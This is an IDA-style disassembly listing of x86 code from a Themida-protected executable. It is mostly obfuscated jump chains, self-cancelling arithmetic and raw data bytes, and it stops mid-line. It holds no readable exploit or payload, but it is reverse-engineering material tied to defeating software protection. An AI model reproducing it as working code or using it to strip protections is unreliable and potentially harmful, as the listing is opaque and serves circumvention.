		add	esp, 4
		shr	ecx, 0Ah
		push	0AC2h
		mov	[esp], ebx
		jmp	loc_5FA29F
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812414h, 4, 2434FF53h, 27E1E958h,	0D6290000h, 63C6815Ah
		dd 1DF7FEFh, 0C2835EF2h, 0FF4E902h, 0C2810000h,	504F63A4h
		dd 0BA61E942h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FAFC6:				; CODE XREF: Themida_:005F8CC5j
		push	ebp
		jmp	loc_5FDE6B
; ---------------------------------------------------------------------------
		dd 0D067EB80h, 0F30DE9EBh, 0E389FFFFh, 4C381h, 0EB810000h
		dd 4, 5C241C87h, 89240489h, 2AA2E9E0h, 0D7F70000h, 68h
		dd 39E0E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5FAFFE:				; CODE XREF: Themida_:006002EEj
		add	esp, 4
		shr	ecx, 0
		jmp	loc_601402
; ---------------------------------------------------------------------------
aShjv		db 'ShJV',0
		align 2
		dd offset loc_6483E8+1
		dw 100h
aBaUfSyh	db 'Ł`UF;yh',0
		align 4
		dd 15D5E59h, 240C8BCBh,	81E68956h, 4C6h, 0F35EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FB03A:				; CODE XREF: Themida_:005FE785j
		mov	eax, ebx
		push	ecx
		push	eax
		jmp	loc_60155E
; ---------------------------------------------------------------------------


loc_5FB043:				; CODE XREF: Themida_:005FA78Aj
		jmp	loc_5F6943
; ---------------------------------------------------------------------------
aQsvt		db 'QT',0
		align 2


loc_5FB04E:				; CODE XREF: Themida_:006022A7j
		dec	ebp
		xor	ebp, 0E54BD25Dh
		mov	ebx, ebp
		pop	ebp
		add	[esp+8], ebx
		jmp	loc_5F9A6C
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 26F6E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5FB06A:				; CODE XREF: Themida_:005F80A1j
		xchg	edi, [esp]
		jmp	loc_5FEC82
; ---------------------------------------------------------------------------
aKjeos		db '',0Ah
		db 'kEO[',0
		dd 23ED8100h, 8121D66Fh, 0FFFFFFC5h, 597FE9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5FB08E:				; CODE XREF: Themida_:005F99CCj
		push	eax
		mov	eax, 10BD6E08h
		xor	ebx, eax
		pop	eax
		mov	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_6024DB
; ---------------------------------------------------------------------------
byte_5FB0A1	db 0ACh, 81h, 0ECh	; DATA XREF: Themida_:005F6884o
		dd 2, 240C8966h, 3758E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5FB0B2:				; CODE XREF: Themida_:006006B4j
		push	dword ptr [esp]
		jmp	loc_5FDB47
; ---------------------------------------------------------------------------
		dw 0D668h
		dd 8900006Ch, 94BF243Ch, 2912CE0Fh, 243C8BFAh, 104C483h
		dd 94C281FAh, 5F12CE0Fh, 30CFE9h
		db 0
; ---------------------------------------------------------------------------


loc_5FB0DD:				; CODE XREF: Themida_:005FF5F1j
		pop	ebp
		jmp	loc_5FF035
; ---------------------------------------------------------------------------


loc_5FB0E3:				; CODE XREF: Themida_:005F6969j
		mov	esp, [esp]
		xor	bl, al
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
aAS_0		db 'a,',0
		dd 4C48100h, 51000000h,	6E2C0E68h, 240C8B30h, 8104C483h
		dd 6E2C0AE9h, 8BC80130h, 0C483240Ch, 4EC8304h, 0BD242C89h
		dd 27B07710h, 680CBF57h, 0FD2173EAh, 48B6E95Fh,	0F74A0000h
		dd 2EF281D2h, 0E9105456h, 6281h, 81595451h, 4C1h, 1FD9E900h
		dd 0EA810000h, 40FE0E0Ah, 148BD301h, 4C48324h, 0E904C383h
		dd 0FFFFDF1Dh, 662F68h,	241C8900h, 1BE56h, 0E5E90000h
		db 59h,	2 dup(0)
byte_5FB173	db 0FFh			; DATA XREF: Themida_:005F6818o
		dd 34FF2434h, 1EEE924h,	0A92D0000h, 0E9768C02h,	4B82h
; ---------------------------------------------------------------------------


loc_5FB188:				; CODE XREF: Themida_:005F7E78j
		pop	ebx
		add	ebx, 4
		push	edi
		jmp	loc_6005CF
; ---------------------------------------------------------------------------
		db 0C1h, 0E3h, 3
		dd 69E38143h, 812FD916h, 50334C3h, 67C3810Dh, 1F062FCh
		dd 0B9515BDFh, 69E507CBh, 1567E9h, 0B60F6600h, 9C5166C8h
		dd 0FFC994E9h, 5FFB29FFh, 0FFE5F9E9h, 240C8BFFh, 81E68956h
		dd 4C6h, 4C68300h, 0E9243487h, 3254h, 4ABEBE56h, 0F9E97FCAh
		dd 0B2FFFFE7h, 0EE55E999h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FB1F6:				; CODE XREF: Themida_:005FCF36j
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_5FB86F
; ---------------------------------------------------------------------------


loc_5FB20B:				; CODE XREF: Themida_:005FB73Cj
		add	esp, 4
		mov	edi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5F69C2
; ---------------------------------------------------------------------------
		db 0FEh, 0C7h, 0E9h
		dd 0FFFFC273h, 8105E5C1h, 0F5CD61F5h, 5DE8014Eh, 812DF801h
		dd 0E9362E30h, 6BFBh
dword_5FB240	dd 53D830ACh, 0BE60E952h		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FB24A:				; CODE XREF: Themida_:005F7D99j
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5FD79B
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0EC48E7BDh, 0F267E97Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FB262:				; CODE XREF: Themida_:00602705j
		xchg	eax, edx
		xor	eax, 76CD3468h
		mov	ecx, eax
		pop	eax
		sub	ebp, 56A46CF2h
		add	ebp, 3D433EE7h
		add	ebp, ecx
		sub	ebp, 3D433EE7h
		add	ebp, 56A46CF2h
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_5F6943
; ---------------------------------------------------------------------------
		db 5Fh,	5Ah, 0C1h
		dd 0DE902E5h
		db 37h,	2 dup(0)
byte_5FB29F	db 66h			; DATA XREF: Themida_:005F6694o
		dd 68240C8Bh, 4084h, 0FFC656E9h, 0BEBF57FFh, 0E91CF120h
		dd 7644h, 0A52C32B9h, 526FE911h, 815E0000h, 4EFh, 243C8700h
		dd 2434895Ch, 0BEh, 30728900h, 5724348Bh, 0C781E789h, 4
		dd 8704C783h, 0E95C243Ch, 0FFFFC31Dh, 85E9D788h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FB2F7:				; CODE XREF: Themida_:005F851Fj
		pop	eax
		push	esi
		mov	esi, 549F4BF3h
		and	esi, 551B4075h
		add	esi, 1
		jmp	loc_5F964E
; ---------------------------------------------------------------------------


loc_5FB30F:				; CODE XREF: Themida_:00602924j
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	ecx
		mov	ecx, 4
		jmp	loc_602BDF
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 3C5B3BFFh, 4C78158h,	68000000h, 1BAEh, 0FF243C89h, 0E9042474h
		dd 3377h, 0E9242489h, 24BCh, 0E904C683h, 7428h,	5A2434FFh
		dd 8F04C483h, 0E95C2404h, 0FFFFCCB4h, 8324048Bh, 0AF6804C4h
		dd 8900000Bh, 0E389241Ch, 4C381h, 0C3830000h, 0F7D0E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FB38A:				; CODE XREF: Themida_:00600F0Cj
		pop	esi
		jmp	loc_5FFCE3
; ---------------------------------------------------------------------------
		dd 0FCDCE957h, 4BAFFFFh, 89000000h, 24148BD5h, 0EA89E951h
		dd 4B8FFFFh, 0E9000000h, 0FFFFBB15h
; ---------------------------------------------------------------------------


loc_5FB3B0:				; CODE XREF: Themida_:005F96C6j
		mov	edi, 1B4D1381h
		mov	ecx, 1B4D1383h
		sub	ecx, edi
		jmp	loc_5F8CB7
; ---------------------------------------------------------------------------
byte_5FB3C1	db 0ADh, 5, 83h		; DATA XREF: Themida_:005F67F0o
		dd 8133DC3Ch, 4ECh, 0F955E900h,	0D801FFFFh, 288BB951h
		dd 0E1D11DC8h, 5269C181h, 0E1C165BCh, 8FC18102h, 29D501BFh
		dd 0B80559C8h, 680D615Fh, 44F0h, 0FFFE58E9h, 241487FFh
		dd 8BF7015Ch, 0C4832434h, 0F0EE904h, 1C890000h,	0F65AB324h
		dd 0B55166D3h, 66EB2871h, 0DBE38059h, 88B9C380h, 0D0285BDAh
		dd 0E62EE95Ah
		db 2 dup(0FFh)
word_5FB42E	dw 77FFh		; DATA XREF: Themida_:005F68A4o
		dd 59669D1Ch, 241CD366h, 0B505E99Ch, 0F681FFFFh, 3B19413Ah
		dd 31ACE9h, 80E70000h, 3058C4C7h, 0C3305BF8h, 0FFC0B60Fh
		dd 48B8734h, 40236824h,	0C890000h, 58545024h, 405h, 4E88300h
		dd 8B240487h, 24892424h, 0D6E95024h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FB47F:				; CODE XREF: Themida_:005FCE69j
		inc	esi
		shl	esi, 4
		push	eax
		mov	eax, 611F1C3Bh
		sub	eax, 1CF179Ah
		dec	eax
		jmp	loc_5FF8C2
; ---------------------------------------------------------------------------
		dd 81241489h, 4ECh, 0CC18E900h,	3C89FFFFh, 2C8CBF24h, 0F8011C9Dh
		dd 0E9243C8Bh, 0FFFFEA90h, 4240481h, 8B000000h,	0C481240Ch
		dd 4, 1E8E68h, 1CEDE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5FB4CE:				; CODE XREF: Themida_:005F838Fj
		add	esp, 4
		push	edi
		mov	edi, 218C1BB2h
		xor	edi, 0AF26319h
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		push	esi
		push	164Ch
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esi, 4
		push	ebx
		mov	ebx, 6EF50A07h
		not	ebx
		push	esi
		mov	esi, 727E6D92h
		neg	esi
		inc	esi
		push	ebp
		mov	ebp, 7A6F75h
		shl	ebp, 8
		add	ebp, 0ACC5FA40h
		and	esi, ebp
		pop	ebp
		and	esi, 62D701D4h
		add	esi, 661B4B27h
		xor	ebx, esi
		pop	esi
		add	ebx, 8E94165h
		add	esi, ebx
		pop	ebx
		jmp	loc_5FD23B
; ---------------------------------------------------------------------------
		dw 15Eh
		dd 5E042474h, 8124148Bh, 4C4h, 4C28100h, 57000000h, 4BFh
		dd 0E9FA0100h, 2FE2h, 0CB7559BDh, 5DF58137h, 0E937CB75h
		dd 7799h, 2404005Ch, 0B3B5E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FB58E:				; CODE XREF: Themida_:005F9FCCj
		pop	ebx
		add	ebx, 4
		jmp	loc_600459
; ---------------------------------------------------------------------------


loc_5FB59A:				; CODE XREF: Themida_:005FFBF8j
		sub	eax, edx
		pop	edx
		or	edx, eax
		push	dword ptr [esp]
		jmp	loc_5FC99A
; ---------------------------------------------------------------------------
		db 1
		dd 243C8BF9h, 4C481h, 0C330000h, 240C3124h, 8B240C33h
		dd 0F662424h, 9C2404ABh, 0FFB37AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FB5C9:				; CODE XREF: Themida_:00602B8Aj
		pop	esp
		jmp	loc_5FCE8A
; ---------------------------------------------------------------------------
aW0si		db 'W=0(',0
		align 2
		dw 0BA52h
		dd 512F117Bh, 15AD329h,	0F1815BD9h, 28972D11h, 559C801h
		dd 2ED97EA9h, 798BBF57h, 814F2124h, 81E484C7h, 0FB78E92Eh
		dd 0EA81FFFFh, 623374A3h, 2566C281h, 0FA011ABFh, 2566EA81h
		dd 0C2811ABFh, 623374A3h, 83243C8Bh, 0BE5604C4h, 2, 7979EA81h
		dd 0F2011676h, 31ABBE56h, 0EE812089h, 0A12B832h, 8B5EF201h
		dd 0C4832434h, 24148704h, 48B665Ch, 0E3895324h,	4C381h
		dd 0EB810000h, 4, 5C241C87h, 0E9240C89h, 0FFFFD41Ch, 0E281D2F7h
		dd 2195463Fh, 15E9BE56h, 0EE81426Ah, 0AF7FDF2h,	0E95EF231h
		dd 41BBh, 83243C8Bh, 2C8104C4h,	0FB098324h, 39AF685Fh
		dd 14890000h, 637CE924h, 34890000h, 2AE0E924h, 2C8B0000h
		dd 4C48324h, 5E6C14Eh, 32A9E681h, 0BA522098h, 0FFFFFFFFh
		dd 0FFF8E1E9h, 4EC81FFh, 89000000h, 0E954241Ch,	2B66h
		dd 0E93CCF80h, 6736h
; ---------------------------------------------------------------------------


loc_5FB6DC:				; CODE XREF: Themida_:005FF058j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4CF716F7h
		add	dword ptr [esp+4], 19511517h
		add	[esp+4], ebx
		sub	dword ptr [esp+4], 19511517h
		pop	ebx
		pop	eax
		push	ecx
		push	edx
		push	ebp
		mov	ebp, 2FCF7B57h
		inc	ebp
		and	ebp, 22F14AF0h
		xor	ebp, 66C055BFh
		mov	edx, ebp
		pop	ebp
		mov	ecx, 0DF2801A4h
		add	ecx, edx
		pop	edx
		jmp	loc_5FF436
; ---------------------------------------------------------------------------
aPsmb		db 'PB',0
		align 2


loc_5FB72E:				; CODE XREF: Themida_:005FA15Ej
		sub	ebx, 25B84306h
		mov	ebp, ebx
		pop	ebx
		xor	edx, ebp
		mov	ebp, [esp]
		jmp	loc_5FB20B
; ---------------------------------------------------------------------------


loc_5FB741:				; CODE XREF: Themida_:005FAF66j
		mov	esp, [esp]
		jmp	loc_60287C
; ---------------------------------------------------------------------------


loc_5FB749:				; CODE XREF: Themida_:005FF04Cj
		xor	eax, 517D6D13h
		add	eax, 1019B8Ch
		sub	ebx, eax
		jmp	loc_600B3C
; ---------------------------------------------------------------------------


loc_5FB75A:				; CODE XREF: Themida_:00600D05j
		shl	ecx, 6
		push	ebx
		mov	ebx, 20A73281h
		jmp	loc_5F8849
; ---------------------------------------------------------------------------
		dd 57E28952h, 0C75EACBFh, 0B45DE93Ah, 0F581FFFFh, 4EE60844h
		dd 8059C581h, 40E9CEE6h
		db 0F4h, 2 dup(0FFh)
byte_5FB787	db 66h			; DATA XREF: Themida_:005F66A8o
		dd 5724048Bh, 0AC68E789h, 0E9000040h, 24FEh, 0B8AE951h
		dd 4AB10000h, 0E959CA20h, 2130h
; ---------------------------------------------------------------------------


loc_5FB7A8:				; CODE XREF: Themida_:005FE97Dj
		mov	ebp, 6C7B6D06h
		jmp	loc_5FADD6
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 534h
; ---------------------------------------------------------------------------


loc_5FB7B8:				; CODE XREF: Themida_:0060188Bj
		push	esi
		mov	esi, esp
		jmp	loc_5FC03F
; ---------------------------------------------------------------------------
		dd 0C380C328h, 0E95166F4h, 156Ch
dword_5FB7CC	dd 33241C31h, 1C31241Ch, 53C6E924h		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5FB7DA:				; CODE XREF: Themida_:005FEFACj
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_600955
; ---------------------------------------------------------------------------
byte_5FB7EB	db 0ADh			; DATA XREF: Themida_:005F674Co
		dd 0B9BD5551h, 5643E750h, 9C6A04BEh, 29B9512Fh,	49393131h
		dd 505DF181h, 0C1815FCFh, 0BD90A3B2h, 0E959CE29h, 6B95h
; ---------------------------------------------------------------------------


loc_5FB814:				; CODE XREF: Themida_:005F8118j
		push	552956FEh
		jmp	loc_5F806F
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 2FAD1232h, 2F09BDB9h, 5EF13104h, 91C18149h, 1DEBDE7h
		dd 0F80159CFh, 0E92434FFh, 0ED4h, 0C7E9F729h, 0E9FFFFD1h
		dd 0FFFFB0F7h
; ---------------------------------------------------------------------------


loc_5FB84C:				; CODE XREF: Themida_:005F9B0Bj
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_5F8BD7
; ---------------------------------------------------------------------------


loc_5FB861:				; CODE XREF: Themida_:006013B8j
		push	ebx
		jmp	loc_5F875E
; ---------------------------------------------------------------------------
		db 51h
		dd 0CBE9E4B1h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FB86F:				; CODE XREF: Themida_:005FB206j
		push	edx
		push	231Ch
		jmp	loc_5F8115
; ---------------------------------------------------------------------------
		dw 0B905h
		dd 5908A00Eh, 3302C083h, 4312404h, 24043324h, 0F6E2E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FB892:				; CODE XREF: Themida_:006029B7j
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		not	ebx
		jmp	loc_5FC166
; ---------------------------------------------------------------------------


loc_5FB89F:				; CODE XREF: Themida_:005F8B4Aj
		mov	[esp], edx
		jmp	loc_5FFBCD
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24148900h, 4BAh, 8BD50100h, 89512414h,	4C181E1h
		dd 0E9000000h, 50E4h, 0C1FED186h, 7AFE9h, 7E1C000h, 3A91E9h
		dd 4C48300h, 0DC26866h,	240C8966h, 16A9E9h, 86E98100h
		dd 0C15C4724h, 0FF5107E9h, 0E959240Ch, 0FFFFE495h
; ---------------------------------------------------------------------------


loc_5FB8FC:				; CODE XREF: Themida_:005FA726j
		sub	edi, 1
		jmp	loc_602A7E
; ---------------------------------------------------------------------------
byte_5FB907	db 0FFh			; DATA XREF: Themida_:005F66D8o
		dd 1DE92434h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5FB90F:				; CODE XREF: Themida_:005F8A83j
		and	ecx, eax
		pop	eax
		shr	ecx, 2
		push	ebx
		jmp	loc_5FF1B7
; ---------------------------------------------------------------------------
		db 51h
		dd 90B4A8B5h, 8059EC28h, 0EC8072F4h, 58E13064h,	281EEB80h
		dd 2377E9CBh, 0C3290000h, 5324048Bh, 0C381E389h, 4, 4C381h
		dd 1C870000h, 0EB815C24h, 2D1B26CDh, 0B60F66h, 8904EC83h
		dd 0E0892404h, 405h, 0BEE95600h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FB96B:				; CODE XREF: Themida_:005FE709j
		mov	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_5FE77C
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	78C1h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		push	69141E60h
		pop	edi
		add	edi, 96EBE1A4h
		mov	ebp, edi
		pop	edi
		jmp	loc_5F78DD
; ---------------------------------------------------------------------------
		db 66h,	0B8h, 91h
		dd 0C5896678h, 0E8016658h, 2D665D66h, 2966041Bh, 1B0566D8h
		dd 39686604h, 34896614h, 1D066824h, 14890000h, 0A686624h
		dd 665A6633h, 456AE942h
		db 2 dup(0)
word_5FB9EA	dw 8B66h		; DATA XREF: Themida_:005F67C4o
		dd 0E953240Ch, 0FFFFF5E2h
; ---------------------------------------------------------------------------


loc_5FB9F4:				; CODE XREF: Themida_:005F729Dj
		mov	ecx, 16636B1Fh
		xor	ecx, eax
		pop	eax
		add	ebx, ecx
		pop	ecx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		add	bl, 0BAh
		jmp	loc_5FCB1A
; ---------------------------------------------------------------------------


loc_5FBA13:				; CODE XREF: Themida_:0060096Cj
		shl	ebp, 4
		neg	ebp
		jmp	loc_602CE8
; ---------------------------------------------------------------------------
		db 54h,	0FFh, 34h
		dd 24348B24h, 0E904C483h, 91Fh,	0E92414F7h, 2487h
; ---------------------------------------------------------------------------


loc_5FBA34:				; CODE XREF: Themida_:005F7A5Dj
		sub	edi, 0B9D7BFFBh
		mov	esi, edi
		pop	edi
		shr	esi, 3
		sub	esi, 0A42AEE7h
		add	ebp, 644402C1h
		jmp	loc_602A22
; ---------------------------------------------------------------------------


loc_5FBA51:				; CODE XREF: Themida_:005F8353j
		mov	esi, eax
		jmp	loc_5FAA39
; ---------------------------------------------------------------------------


loc_5FBA58:				; CODE XREF: Themida_:00600FCAj
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		and	eax, ebx
		push	dword ptr [esp]
		jmp	loc_5FC54C
; ---------------------------------------------------------------------------


loc_5FBA69:				; CODE XREF: Themida_:005F8626j
		not	eax
		xchg	eax, ebx
		jmp	loc_5FC6C8
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0C3h
		dd 4, 8B241C87h, 4212424h, 0CAE99C24h, 8000005Bh, 0D48881EAh
		dd 6ECC05Ah, 5303CC80h,	62F5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5FBA99:				; CODE XREF: Themida_:005F7A64j
		mov	eax, 670C2A82h
		mov	ebx, 670C2A86h
		xor	ebx, eax
		pop	eax
		jmp	loc_602858
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FFD7CDE9h, 2C783FFh, 2474FF57h, 48F5F04h, 8B665C24h
		dd 29682404h, 0E9000008h, 484Bh
; ---------------------------------------------------------------------------


loc_5FBACC:				; CODE XREF: Themida_:005F6FE7j
		xor	ebx, ecx
		pop	ecx
		not	ebx
		sub	ebx, 0FFFFFFFFh
		and	ebx, 7C3F6D27h
		shr	ebx, 8
		push	eax
		mov	eax, 0FFD6BCh
		add	ebx, eax
		pop	eax
		and	eax, ebx
		jmp	loc_5F8E9A
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 0FFFFE1FCh, 593279BEh, 3EEC111h,	0AD96EE81h
		dd 0F089C80Eh, 50C1E95Eh, 0BD550000h, 4C141034h, 0E95DEF21h
		dd 0FFFFF19Fh, 3CC868h,	24248900h, 28ABE9h, 0ABB95100h
		dd 8109722Dh, 0A70578F1h, 8BCF097Ch, 0C481240Ch, 4, 0C781D7F7h
		dd 38DC51EBh, 15FFD29h,	0C1835DE9h, 240C8702h, 6624248Bh
		dd 5124048Bh, 0C2E95954h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5FBB63:				; CODE XREF: Themida_:005F95F4j
		pop	edx
		not	edx
		inc	edx
		add	edx, 5424556Fh
		xor	edx, 0D52E1DD0h
		mov	ebx, edx
		pop	edx
		add	ebx, ecx
		jmp	loc_5F8C04
; ---------------------------------------------------------------------------
		db 80h,	0C2h, 53h
		dd 0F65AD730h, 0E9C7FED7h, 33B1h, 8B66E820h, 5455240Ch
		dd 4C5815Dh, 83000000h,	2C3302C5h, 242C3124h, 8B242C33h
		dd 89572424h, 4C781E7h,	83000000h, 3C8704EFh, 41E95C24h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FBBBF:				; CODE XREF: Themida_:00600454j
		mov	bl, 0A3h
		sub	al, bl
		pop	ebx
		mov	bx, [esp]
		add	esp, 2
		push	small 3EF8h
		mov	[esp], bx
		jmp	loc_601767
; ---------------------------------------------------------------------------
		db 5Ch
		dd 162CD828h, 81E68956h, 4C6h, 3516E900h, 14890000h, 2BD5524h
		dd 89000000h, 232D5DEAh, 1458959h, 592305D0h, 148B4589h
		dd 0AF88E924h
		db 2 dup(0FFh)
word_5FBC0E	dw 8B66h		; DATA XREF: Themida_:005F66B0o
		dd 5450240Ch, 40558h, 44680000h, 89000061h, 8F682434h
		dd 8900004Eh, 0B850243Ch, 2, 8958C789h,	70BCE9FEh, 0C3810000h
		dd 63D3619Fh, 2EB8158h,	68000000h, 5B01h, 89241489h, 56ABE9E2h
		dd 8B5A0000h, 2BE92414h, 87FFFFB0h, 0ABE9243Ch
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FBC67:				; CODE XREF: Themida_:005FEBEDj
		xor	edx, eax
		xor	eax, edx
		push	148Fh
		mov	[esp], edx
		xchg	eax, [esp]
		not	eax
		jmp	loc_5FFB7F
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 4Ah
		dd 58122613h, 4245C29h,	4FE3E9h, 5AD12800h, 0C039C180h
		dd 0F6E903E1h, 83FFFFCFh, 0A0E904C4h, 5FFFFACh,	1FD05D5Eh
		dd 0E958C189h, 243Bh, 1791E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5FBCB6:				; CODE XREF: Themida_:005FFCB7j
		push	esi
		mov	esi, 40907316h
		not	esi
		add	esi, 72FA2D7Ah
		not	esi
		jmp	loc_5FA2AA
; ---------------------------------------------------------------------------
		db 0BAh
		dd 297016C5h, 0ABBCA81h, 0EA814DC2h, 2DA23F3Ch,	5C54E281h
		dd 0EAC124FCh, 0E9DAF705h, 0FFFFEDA6h, 0EA8003B2h, 0FFC280ACh
		dd 0E99DF280h, 0FFFFB7F7h, 5004C483h, 0CDE9E089h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FBD07:				; CODE XREF: Themida_:0060272Aj
		shr	ecx, 5
		and	ecx, 0BFA60EFh
		sub	ecx, 9F2CB29Ch
		xor	ebx, ecx
		pop	ecx
		add	edx, ebx
		mov	ebx, [esp]
		jmp	loc_5FC43E
; ---------------------------------------------------------------------------


loc_5FBD23:				; CODE XREF: Themida_:005F7D88j
		xor	dword ptr [esp], 707812E4h
		pop	ecx
		xor	ecx, 707812E4h
		pop	eax
		jmp	loc_5F982F
; ---------------------------------------------------------------------------
		db 59h
		dd 4746BA52h, 0F2813B91h, 760B10BDh, 0C102EAC1h, 0EA8105EAh
		dd 3E185AB6h, 0E1A8E953h, 0D888FFFFh, 59C8E95Bh
		db 2 dup(0)
aM0Rhi		db '0Rh"',0          ; DATA XREF: Themida_:005F6698o
		dw 8900h
		dd 0EC83242Ch, 24248904h, 48CCE9h, 1C58100h, 0E9000000h
		dd 0FFFFB26Ch, 8B24048Fh, 0E9F62424h, 0CCB60F66h, 22D76866h
		dd 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFFABA3h
; ---------------------------------------------------------------------------


loc_5FBDA0:				; CODE XREF: Themida_:005FFC1Fj
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		shr	eax, 8
		xor	eax, ecx
		jmp	loc_5FEFC5
; ---------------------------------------------------------------------------


loc_5FBDBB:				; CODE XREF: Themida_:005F9C94j
		add	esp, 4
		xor	al, ch
		mov	cx, [esp]
		push	edi
		jmp	loc_5FCA4C
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48124h, 0E9000000h, 223Ch,	3304C183h, 0C31240Ch, 240C3324h
		dd 8E0C15Ch, 7A1868h, 242C8900h, 36A300BDh, 5DE83124h
		dd 38BB53h, 0D3010000h,	0E95B0389h, 0FFFFC5FCh,	0A6025725h
		dd 74BB5366h, 29F1E0B5h, 0C1095BD8h, 0E2E98158h, 0E97B12E5h
		dd 0FFFFD1D4h, 6ECE95Ch, 0C5810000h, 66EB0DF4h,	0ED81CD29h
		dd 66EB0DF4h, 4EC8159h,	89000000h, 3BF243Ch, 313B033Ch
		dd 50575FFDh, 0A60BD6B8h, 0F7E8D15Ah, 57A405D0h, 0C7899420h
		dd 0E9E7D158h, 0BA5h
; ---------------------------------------------------------------------------


loc_5FBE64:				; CODE XREF: Themida_:00601768j
		push	eax
		mov	ah, 87h
		mov	ch, 23h
		sub	ch, ah
		mov	eax, [esp]
		add	esp, 4
		mov	bh, ch
		pop	ecx
		add	al, bh
		mov	bx, [esp]
		push	2C48h
		jmp	loc_6022AC
; ---------------------------------------------------------------------------


loc_5FBE84:				; CODE XREF: Themida_:005FDDBAj
		mov	ebx, 16CB7A72h
		shl	ebx, 8
		add	ebx, 5B467A8Bh
		xor	ebx, 50EA99B6h
		jmp	loc_5F99C0
; ---------------------------------------------------------------------------
		db 89h,	0F2h, 5Eh
		dd 0E95AD001h, 1188h, 8B66CA88h, 60E9240Ch, 58000027h
		dd 25C2E9h, 0EF835D00h,	214AE904h, 81590000h, 720B74C1h
		dd 0E9D1012Eh, 1137h, 31242C33h, 2C33242Ch, 24248B24h
		dd 5252E9h, 4C48300h, 23A868h, 0FD00E900h, 0EA81FFFFh
		dd 0B9F356Ch, 4A04BD55h, 814557D7h, 0AE3F94EDh,	0E9EA2909h
		dd 61ACh, 24348758h, 5124248Bh,	0BD55E189h, 438C23D9h
		dd 0E902E5C1h, 0FFFFAFC2h, 9C240CFEh, 0FFAA1AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FBF29:				; CODE XREF: Themida_:0060069Cj
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		push	edx
		sub	dword ptr [esp], 9512AB9h
		pop	eax
		jmp	loc_602C28
; ---------------------------------------------------------------------------
		dw 3F0Dh
		dd 50022649h, 582414F7h, 0FEAFBE56h, 0F031DC53h, 61DAE95Eh
		dd 0F660000h, 9C2404ABh, 22A7E9h
		db 0
byte_5FBF65	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005F6898o
